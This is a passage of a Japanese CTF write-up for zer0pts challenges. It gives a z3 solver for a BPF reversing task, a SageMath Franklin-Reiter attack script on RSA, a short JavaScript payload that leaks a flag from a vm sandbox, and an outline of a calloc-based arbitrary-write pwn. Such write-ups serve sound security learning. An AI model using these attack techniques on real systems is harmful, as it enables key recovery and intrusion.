0x1b 0x1c 0x9f576dd4 if (A == 2673307092) goto 0203 else goto 0204 0115: 0x15 0x0e 0x00 0xdf60093a if (A == 3747612986) goto 0130 0128: 0x60 0x00 0x00 0x00000009 A = mem[9] 0129: 0x15 0x1c 0x4a 0xf3b68ece if (A == 4088827598) goto 0158 else goto 0204 0156: 0x60 0x00 0x00 0x0000000a A = mem[10] 0157: 0x15 0x10 0x2e 0x0f01b94c if (A == 251771212) goto 0174 else goto 0204 0172: 0x60 0x00 0x00 0x0000000a A = mem[10] 0173: 0x15 0x06 0x1e 0xe97d7d54 if (A == 3917315412) goto 0180 else goto 0204 0116: 0x15 0x03 0x00 0xb8af3fbe if (A == 3098492862) goto 0120 0118: 0x60 0x00 0x00 0x00000009 A = mem[9] 0119: 0x15 0x32 0x54 0xf1cf5c2e if (A == 4056898606) goto 0170 else goto 0204 0168: 0x60 0x00 0x00 0x0000000a A = mem[10] 0169: 0x15 0x1e 0x22 0x4d8f1f86 if (A == 1301225350) goto 0200 else goto 0204 0198: 0x60 0x00 0x00 0x0000000b A = mem[11] 0199: 0x15 0x03 0x04 0xb9fdbebe if (A == 3120414398) goto 0203 else goto 0204 0117: 0x15 0x0e 0x00 0x7f01bbcc if (A == 2130820044) goto 0132 0130: 0x60 0x00 0x00 0x00000009 A = mem[9] 0131: 0x15 0x24 0x48 0x4fe90926 if (A == 1340672294) goto 0168 else goto 0204 0166: 0x60 0x00 0x00 0x0000000a A = mem[10] 0167: 0x15 0x0e 0x24 0xc39dc1ca if (A == 3281895882) goto 0182 else goto 0204 0180: 0x60 0x00 0x00 0x0000000b A = mem[11] 0181: 0x15 0x15 0x16 0xe97d7d54 if (A == 3917315412) goto 0203 else goto 0204 [(4127179254, 251771212, 3086875838, 2720880308), (1933881070, 1627051272, 3015552726, 1532821474), (4255576062, 3415533530, 665780030, 2174343406), (1670347938, 2130820044, 1340672294, 3281895882), (2720551936, 3602496994, 2130523044, 197094626), (2307981054, 530288564, 2583645294, 4290701286), (2673307092, 3116543486, 3606265306, 666819390), (4139379682, 3064954302, 614968622, 4143147994), (4192373742, 2002783966, 1627379644, 2145762244), (530288564, 2115580844, 2813168974, 3151668710), (4025255646, 4126139894, 1601724370, 2673307092), (3747612986, 4088827598, 251771212, 3917315412), (3098492862, 4056898606, 1301225350, 3120414398), (2130820044, 1340672294, 3281895882, 3917315412)] 14
これを使ってz3で殴ります。
from z3 import * from Crypto.Util.number import long_to_bytes, bytes_to_long args = [BitVec(f"a{i}", 32) for i in range(0xe)] mem = [None]*12 s = Solver() for i in range(1, 0xf): s.add((args[i-1] ) & 0xff <= 0x7e) s.add((args[i-1] >> 8) & 0xff <= 0x7e) s.add((args[i-1] >> 16) & 0xff <= 0x7e) s.add((args[i-1] >> 24) & 0xff <= 0x7e) A = args[i-1] mem[0] = A A = args[i % 0xe] X = mem[0] A ^= X mem[1] = A A = args[(i+1) % 0xe] X = mem[1] A ^= X mem[2] = A A = args[(i+2) % 0xe] X = mem[2] A ^= X mem[3] = A A = mem[0] X = mem[1] A += X X = mem[2] A += X X = mem[3] A += X mem[4] = A A = mem[0] X = mem[1] A -= X X = mem[2] A += X X = mem[3] A -= X mem[5] = A A = mem[0] X = mem[1] A += X X = mem[2] A -= X X = mem[3] A -= X mem[6] = A A = mem[0] X = mem[1] A -= X X = mem[2] A -= X X = mem[3] A += X mem[7] = A A = mem[4] X = mem[5] A |= X mem[8] = A A = mem[6] X = mem[7] A &= X X = mem[8] A ^= X mem[8] = A A = mem[5] X = mem[6] A |= X mem[9] = A A = mem[7] X = mem[4] A &= X X = mem[9] A ^= X mem[9] = A A = mem[6] X = mem[7] A |= X mem[10] = A A = mem[4] X = mem[5] A &= X X = mem[10] A ^= X mem[10] = A A = mem[7] X = mem[4] A |= X mem[11] = A A = mem[5] X = mem[6] A &= X X = mem[11] A ^= X mem[11] = A results =[(4127179254, 4126139894, 665780030, 666819390), (1933881070, 2002783966, 1601724370, 1532821474), (4255576062, 3116543486, 3151668710, 4290701286), (1670347938, 4056898606, 2583645294, 197094626), (2720551936, 1627051272, 1627379644, 2720880308), (2307981054, 3415533530, 3281895882, 2174343406), (2673307092, 251771212, 251771212, 2673307092), (4139379682, 3602496994, 3606265306, 4143147994), (4192373742, 4088827598, 3015552726, 3119098870), (530288564, 530288564, 3917315412, 3917315412), (4025255646, 2813168974, 614968622, 1827055294), (3747612986, 1340672294, 1301225350, 3708166042), (3098492862, 3064954302, 3086875838, 3120414398), (2130820044, 2115580844, 2130523044, 2145762244)] s.add(Or([And(mem[8] == r[0], mem[9] == r[1], mem[10] == r[2], mem[11] == r[3]) for r in results])) # print(s) s.add(args[0] == bytes_to_long(b"0rez")) s.add(args[1] == bytes_to_long(b"{stp")) while s.check() == sat: m = s.model() print(m) flag = b"" for i in range(0xe): flag += long_to_bytes(m[args[i]].as_long())[::-1] print(flag)
zer0pts{B3rk3l3y_P4ck3t_F1lt3r:Y3t_4n0th3r_4ss3mbly}
ちなみにwhile s.check() == sat:
をwhile s.check() == "sat":
としてしまって気付くまで3時間ほど溶かしました。
war(sa)mup [crypto/warmup 102pts 95solves]
n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 e = 1337 c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762
from Crypto.Util.number import getStrongPrime, GCD, long_to_bytes from random import randint from flag import flag import os def pad(m: int, n: int): # PKCS#1 v1.5 maybe ms = m.to_bytes((m.bit_length() + 7) // 8, "big") ns = n.to_bytes((n.bit_length() + 7) // 8, "big") assert len(ms) <= len(ns) - 11 ps = b"" while len(ps) < len(ns) - len(ms) - 3: p = os.urandom(1) if p != b"\x00": ps += p return int.from_bytes(b"\x00\x02" + ps + b"\x00" + ms, "big") while True: p = getStrongPrime(512) q = getStrongPrime(512) n = p * q phi = (p-1)*(q-1) e = 1337 if GCD(phi, e) == 1: break m = pad(int.from_bytes(flag, "big"), n) c1 = pow(m, e, n) c2 = pow(m // 2, e, n) print("n =", n) print("e =", e) print("c1=", c1) print("c2=", c2)
m
とm // 2
の暗号文が渡されます。よく考えると、m // 2
はm >> 1
と等価なので上位ビットがほぼ共通してることがわかります。
RSA暗号運用でやってはいけないnのことを参考にすると、Franklin-Reiter Related Message Attackが使えそうです。
検索したらまとめられたリポジトリがあったのでそれを見ると、m1 = a * m2 + b
の形にできるとき解読できるらしいです。
bin(ord("{"))
は'0b1111011'
であることから、mの最下位ビットは1になります。
そのため、m1 = m, m2 = m // 2
とするとm1 = 2 * m2 + 1
になります。
from Crypto.Util.number import long_to_bytes n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089 e = 1337 c1= 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515 c2= 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762 # c1 = m^e mod N # c2 = (m/2)^e mod N = m^e/2^e mod N # https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Franklin-Reiter/exploit.sage def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() def franklinreiter(C1, C2, e, N, a, b): P.<X> = PolynomialRing(Zmod(N)) g1 = (a*X + b)^e - C1 g2 = X^e - C2 result = -gcd(g1, g2).coefficients()[0] return result m2 = int(franklinreiter(c1, c2, e, n, 2, 1)) print(long_to_bytes(m2 * 2 + 1))
zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}
SageMath組み込みのgcdだとエラー吐いててずっと混乱してたり、c1とc2を逆にしていたり、復号できていてもm2に戻してなかったりで色々と手間取ってしまった問題でした。
終了後に解いた問題
Kantan Calc [web]
vmで実行される'use strict'; (function () { return ${code}; /* ${FLAG} */ })()
のcode
に30文字以内のソースコードを埋め込めるので、それを使ってFLAGを読めという問題です。
また、zer0ptsを含む返り値は弾かれてしまいます。これもbypassする必要があります。
arguments.calleeというオブジェクトで無名関数自身を参照することができますが、strict modeでは使えません。このバイパスをずっと考えてましたが、別にfunction内で完結させる必要ではないことに最後気付きました。
js
'use strict'; (function () { return });(function a(){return a.toString()[任意]; /* ${FLAG} */ })()
で一文字ずつフラグを読めますが文字数オーバーです。コードゴルフしていきましょう。
'use strict'; (function () { return },function a(){return a.toString()[任意]; /* ${FLAG} */ })()
jsでは違う型同士で加算をするとだいたい文字列になるので、toStringが節約できます。
'use strict'; (function () { return },function a(){return(a+1)[任意]; /* ${FLAG} */ })()
これで数値含め30文字に収まったので解けた!と思いWriteupを見に行きました。
が、よく考えたら数値は二桁分必要でした...もう一文字短縮する必要がありました。
既にWriteupを見てしまったのでWriteupの解法を使います。[...string]
が文字の配列になることを利用して制限をbypassします。
'use strict'; (function () { return },function a(){return [...a+1]; /* ${FLAG} */ })()
zer0pts{K4nt4n_m34ns_4dm1r4t1on_1n_J4p4n3s3}
OneShot [pwn] (追記)
#include <unistd.h> #include <stdio.h> #include <stdlib.h> int main() { int *arr = NULL, n = 0, i = 0; printf("n = "); scanf("%d", &n); if (n >= 0x100) exit(1); arr = calloc(n, sizeof(int)); printf("i = "); scanf("%d", &i); printf("arr[%d] = ", i); scanf("%d", &arr[i]); puts("Done!"); return 0; } __attribute__((constructor)) void setup() { alarm(60); setbuf(stdin, NULL); setbuf(stdout, NULL); }
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
exploit codeだけ貼ります。unsigned/signedの差を突いてcallocにクソデカ数値を渡せばNULLを返すのでなんやかんやAAWできて、後は頑張ればシェルが取れます。
zer0pts{th1s_1s_why_y0u_sh0uld_ch3ck_r3turn_v4lu3_0f_malloc}
感想
ストレスがほとんどなく、問題も面白くてとても楽しめました。
reversingニ問で「これで何故動くのか」というのを追いすぎて時間を潰してしまったのが反省点です。
動作は適当に推測しながら怪しい部分だけ見るのが良いのは理解してるのですが、難しいですね...
また、他のPwnも面白そうでしたがsolve数が少なく後回しにしてしまったので後で復習したいですね。